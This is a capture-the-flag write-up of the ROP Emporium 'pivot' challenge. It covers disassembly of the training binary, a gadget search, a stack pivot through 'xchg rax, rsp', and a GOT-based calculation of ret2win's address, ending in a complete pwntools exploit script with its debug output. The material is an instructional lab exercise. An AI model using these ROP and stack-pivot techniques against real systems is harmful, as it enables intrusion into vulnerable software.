ROP Emporium - pivot


The pivot challenge creates a situation where stack space is limited. This means that our full payload cannot be stored on the stack and instead must be located elsewhere in memory. However in order to start executing the code pointed to from the new stack we have to swap stacks! This is called pivoting and let's get started.

Exploring the binary

The pivot binary is linked with libpivot.so:

jasper@ropper:~/ropemporium/pivot$ checksec pivot
[*] '/home/jasper/ropemporium/pivot/pivot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RPATH:    './'
jasper@ropper:~/ropemporium/pivot$ ldd pivot
        linux-vdso.so.1 (0x00007ffc7c9fe000)
        libpivot.so => ./libpivot.so (0x00007fd628fd5000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd628de1000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fd6291d9000)
jasper@ropper:~/ropemporium/pivot$

The pivot binary contains a uselessFunction:

[0x00400ae2]> pdf
/ (fcn) sym.uselessFunction 24
|   sym.uselessFunction ();
|           0x00400ae2      55             push rbp
|           0x00400ae3      4889e5         mov rbp, rsp
|           0x00400ae6      b800000000     mov eax, 0
|           0x00400aeb      e860fdffff     call sym.imp.foothold_function
|           0x00400af0      bf01000000     mov edi, 1                  ; int status
\           0x00400af5      e886fdffff     call sym.imp.exit           ; void exit(int status)
[0x00400ae2]>

The foothold_function from libpivot.so looks like this:

[0x00000970]> pdf
/ (fcn) sym.foothold_function 24
|   sym.foothold_function ();
|           0x00000970      55             push rbp
|           0x00000971      4889e5         mov rbp, rsp
|           0x00000974      488d3d6d0100.  lea rdi, qword str.foothold_function____check_out_my_.got.plt_entry_to_gain_a_foothold_into_libpivot.so ; section..rodata ; 0xae8 ; "foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so" ; const char *format
|           0x0000097b      b800000000     mov eax, 0
|           0x00000980      e8bbfeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00000985      90             nop
|           0x00000986      5d             pop rbp
\           0x00000987      c3             ret
[0x00000970]>

And it has a ret2win function of which it is our goal here to call:

[0x00000abe]> pdf
/ (fcn) sym.ret2win 26
|   sym.ret2win ();
|           0x00000abe      55             push rbp
|           0x00000abf      4889e5         mov rbp, rsp
|           0x00000ac2      488d3d880000.  lea rdi, qword str.bin_cat_flag.txt ; 0xb51 ; "/bin/cat flag.txt" ; const char *string
|           0x00000ac9      e862fdffff     call sym.imp.system         ; int system(const char *string)
|           0x00000ace      bf00000000     mov edi, 0                  ; int status
\           0x00000ad3      e878fdffff     call sym.imp.exit           ; void exit(int status)
[0x00000abe]>

The challenge page also states:

In this challenge you'll also need to apply what you've previously learned about the .plt and .got.plt sections of ELF binaries.

When we run the binary we get a sense of what we're up against:

jasper@ropper:~/ropemporium/pivot$ ./pivot
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7feb3847bf10
Send your second chain now and it will land there
> 0xC0FFEE
Now kindly send your stack smash
> 0xC0FFEE

Exiting

The address of where to pivot to changes between runs because of this code in main:

|           0x004009ee      bf00000001     mov edi, 0x1000000
|           0x004009f3      e868feffff     call sym.imp.malloc         ;  void *malloc(size_t size)
|           0x004009f8      488945f8       mov qword [local_8h], rax
|           0x004009fc      488b45f8       mov rax, qword [local_8h]
|           0x00400a00      480500ffff00   add rax, 0xffff00
|           0x00400a06      488945f0       mov qword [local_10h], rax
|           0x00400a0a      488b45f0       mov rax, qword [local_10h]
|           0x00400a0e      4889c7         mov rdi, rax
|           0x00400a11      e825000000     call sym.pwnme

We allocate an object of the specified size and store its address (malloc() returns a pointer to the allocated memory) in RDI before calling pwnme():

[0x00400a3b]> s sym.pwnme
[0x00400a3b]> pdf
/ (fcn) sym.pwnme 167
|   sym.pwnme (int arg1);
|           ; var int local_28h @ rbp-0x28
|           ; var int local_20h @ rbp-0x20
|           ; arg int arg1 @ rdi
|           ; CALL XREF from sym.main (0x400a11)
|           0x00400a3b b    cc             int3
|           0x00400a3c      4889e5         mov rbp, rsp
|           0x00400a3f      4883ec30       sub rsp, 0x30               ; '0'
|           0x00400a43      48897dd8       mov qword [local_28h], rdi  ; arg1
|           0x00400a47      488d45e0       lea rax, qword [local_20h]
|           0x00400a4b      ba20000000     mov edx, 0x20               ; 32
|           0x00400a50      be00000000     mov esi, 0
|           0x00400a55      4889c7         mov rdi, rax
|           0x00400a58      e8c3fdffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x00400a5d      bfc00b4000     mov edi, str.Call_ret2win___from_libpivot.so ; 0x400bc0 ; "Call ret2win() from libpivot.so"
|           0x00400a62      e899fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00400a67      488b45d8       mov rax, qword [local_28h]
|           0x00400a6b      4889c6         mov rsi, rax
|           0x00400a6e      bfe00b4000     mov edi, str.The_Old_Gods_kindly_bestow_upon_you_a_place_to_pivot:__p ; 0x400be0 ; "The Old Gods kindly bestow upon you a place to pivot: %p\n"
|           0x00400a73      b800000000     mov eax, 0
|           0x00400a78      e893fdffff     call sym.imp.printf         ; int printf(const char *format)

The local variable arg1 (RDI) gets moved to RBP-0x28, the address is loaded into RSI via RAX. This is used as the second argument to the printf() call where it fills in the value for %p. Eventually the call to fgets() will use this address to store what it's read.

Laying out the gadgets

As the output of pivot instructs, first we need to send it our second payload which will end up on the stack we'll pivot to. Then we need to cause an overflow and pivot to the new stack. The stack address is stored in RSP so a gadget needs to be found which affects this register.

[0x004008a0]> /R pop rsp
  0x00400b6d                 5c  pop rsp
  0x00400b6e               415d  pop r13
  0x00400b70               415e  pop r14
  0x00400b72               415f  pop r15
  0x00400b74                 c3  ret

Does the job, but that would require passing r13-r15 too and result in a fairly long ROP chain to achieve only setting RSP:

chain  = p64(0x00400b6d)
chain += p64(value_for_rsp)
chain += p64(0x0) * 3

This would be a fairly large chain; let's see if something shorter is available:

[0x004008a0]> /R/ xchg.*rsp.*
  0x00400afa       660f1f440000  nop word [rax + rax]
  0x00400b00                 58  pop rax
  0x00400b01                 c3  ret
  0x00400b02               4894  xchg rax, rsp
  0x00400b04                 c3  ret

Two useful gadgets with minimal side effects are found:

chain  = p64(0x00400b00)
chain += p64(value_for_rsp)
chain += p64(0x00400b02)

This is considerably shorter so let's use this (also because it modifies fewer registers).

One contrived attempt of exploiting this binary was to leak the address of foothold_function then calculate the real address of ret2win. However as we leak the address in a first chain and then call main() again to use the leaked address in a second chain we'd already have corrupted the stack in such a way that we couldn't recover it again when going through main() again.

The key realisation here was to move the GOT pointer into a register because when it's resolved that's what the GOT call returns via RAX. So first call foothold_function to force going through the GOT and have it's address in libpivot.so resolved. Then we pop the address of the GOT entry into RAX. Here comes the trick, by using the "mov rax, qword [rax]" gadget we put the address pointed to by RAX (i.e. the resolved address in libpivot.so).

We can calculate the offset between the two functions statically:

>>> hex(0x00000abe-0x00000970)
'0x14e'
>>>

Now we need a gadget that will allow for an arbitrary addition to RAX:

[0x00400900]> /R add rax
[...]
  0x00400b09             4801e8  add rax, rbp
  0x00400b0c                 c3  ret
[0x00400900]> /R pop rbp
  0x00400900                 5d  pop rbp
  0x00400901                 c3  ret

There are plenty of gadgets to conclude this challenge by calling the function stored in RAX, let's pick 0x0040098e.

Exploit

The final exploit is demonstrated here:

jasper@ropper:~/ropemporium/pivot$ python pivot.py -d
[+] Starting local process './pivot': pid 24504
[DEBUG] Received 0xb7 bytes:
    'pivot by ROP Emporium\n'
    '64bits\n'
    '\n'
    'Call ret2win() from libpivot.so\n'
    'The Old Gods kindly bestow upon you a place to pivot: 0x7feb0d1c2f10\n'
    'Send your second chain now and it will land there\n'
    '> '
[*] Got address to pivot to: 0x7feb0d1c2f10
[DEBUG] Sent 0x41 bytes:
    00000000  50 08 40 00  00 00 00 00  00 0b 40 00  00 00 00 00  │P·@·│····│··@·│····│
    00000010  48 20 60 00  00 00 00 00  05 0b 40 00  00 00 00 00  │H `·│····│··@·│····│
    00000020  00 09 40 00  00 00 00 00  4e 01 00 00  00 00 00 00  │··@·│····│N···│····│
    00000030  09 0b 40 00  00 00 00 00  8e 09 40 00  00 00 00 00  │··@·│····│··@·│····│
    00000040  0a                                                  │·│
    00000041
[DEBUG] Received 0x23 bytes:
    'Now kindly send your stack smash\n'
    '> '
[DEBUG] Sent 0x41 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  00 0b 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000030  10 2f 1c 0d  eb 7f 00 00  02 0b 40 00  00 00 00 00  │·/··│····│··@·│····│
    00000040  0a                                                  │·│
    00000041
[DEBUG] Received 0x54 bytes:
    'foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.so'
[*] Process './pivot' stopped with exit code 0 (pid 24504)
[DEBUG] Received 0x21 bytes:
    'ROPE{a_placeholder_32byte_flag!}\n'
[*] Called ret2win: ROPE{a_placeholder_32byte_flag!}

It took me a little while to figure out the parsing of the output to grab the flag and ignore the output of the foothold_function() but recvline_contains() along with a regex did the trick:

#!/usr/bin/env python2

import argparse
import re

from pwn import *


def exploit():
    p = process('./pivot')

    # Gadgets
    pop_rdi = p64(0x00400b73)
    nop = p64(0x00400b74)
    pop_rax = p64(0x00400b00)
    xchg_rax_rsp = p64(0x00400b02)
    mov_rax_qrax = p64(0x00400b05)
    pop_rax = p64(0x00400b00)
    add_rax_rbp = p64(0x00400b09)
    pop_rbp = p64(0x00400900)
    call_rax = p64(0x0040098e)

    # Functions (and PLT entries)
    puts_plt = p64(0x400800)
    foothold_plt = p64(0x400850)
    foothold_got = p64(0x602048)
    main = p64(0x400996)
    pwnme = p64(0x400a3b)

    # First get the address to pivot to
    p.recvuntil('to pivot: ')
    pivot = p.recv().split()[0]
    log.info('Got address to pivot to: {}'.format(pivot))

    # Now we'll pass out actual chain where we'll later pivot to.
    # First call foothold_function to force going through the GOT
    # and have its address in libpivot.so resolved.
    # Then we pop the address of the GOT entry into rax. Here comes
    # the trick, by using the "mov rax, qword [rax]" gadget we put the
    # address *pointed to* by rax (i.e. the resolved address in libpivot.so)
    # into rax. We can then adjust for the offset between to ret2win
    # and call the address of ret2win.
    chain =  foothold_plt
    chain += pop_rax
    chain += foothold_got
    chain += mov_rax_qrax
    chain += pop_rbp
    chain += p64(0x14e)
    chain += add_rax_rbp
    chain += call_rax

    p.sendline(chain)

    # Now we can send out payload to cause the buffer overflow
    # and pivot onto our new stack.
    p.recvuntil('> ')

    # This payload overflows the buffer and pivots to our new stack we
    # prepared on the heap by swapping the address stored in RAX into RSP.
    # Thereby adjusting the stack pointer.
    payload = 'A' * 40
    payload += pop_rax
    payload += p64(int(pivot, 16))
    payload += xchg_rax_rsp

    p.sendline(payload)

    # Grab output until we get a line containing the output of ret2win.
    output = p.recvline_contains('ROPE')
    flag = re.match(r'.*(ROPE.*)', output).groups()[0]

    log.info('Called ret2win: {}'.format(flag))


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--arch', '-a',
            help='Binary architecture', default='amd64')
    parser.add_argument('--os', '-O',
            help='Operating system', default='linux')
    parser.add_argument('--debug', '-d',
            help='Enable debug output', default=False,
            action='store_true')
    args = parser.parse_args()

    context(os=args.os, arch=args.arch)

    if args.debug:
        context.log_level = 'debug'

    exploit()

if __name__ == '__main__':
    main()